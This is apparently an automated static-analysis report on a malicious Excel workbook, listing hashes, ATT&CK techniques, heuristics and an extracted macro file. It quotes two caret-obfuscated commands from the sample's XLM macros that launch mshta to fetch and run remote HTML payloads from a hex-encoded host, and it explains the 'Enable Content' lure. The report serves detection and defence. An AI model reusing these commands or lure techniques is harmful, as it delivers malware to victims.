Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 aa35e29472a2e1e4…

MALICIOUS

Office (OLE) / .XLS

64.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: d901cace3643b8e52d0e6618a904c013 SHA-1: 54ca1056e3869785120f8153e38fe233a68a23c3 SHA-256: aa35e29472a2e1e4c7dd10de1dab508ad6e2e8db6b143a41dc119c035fbbf474
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1204.001 User Execution: Malicious Link T1105 Ingress Tool Transfer

The sample uses a 'Enable Content' lure in the document body to trick the user into executing Excel 4.0 (XLM) macros. The extracted scripts contain a command to execute 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which uses caret symbols for obfuscation to call mshta.exe to execute a remote HTML application. Use of of the same host 0xc12a24f5 for both URLs is highly indicative of a second-stage payload delivery mechanism.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes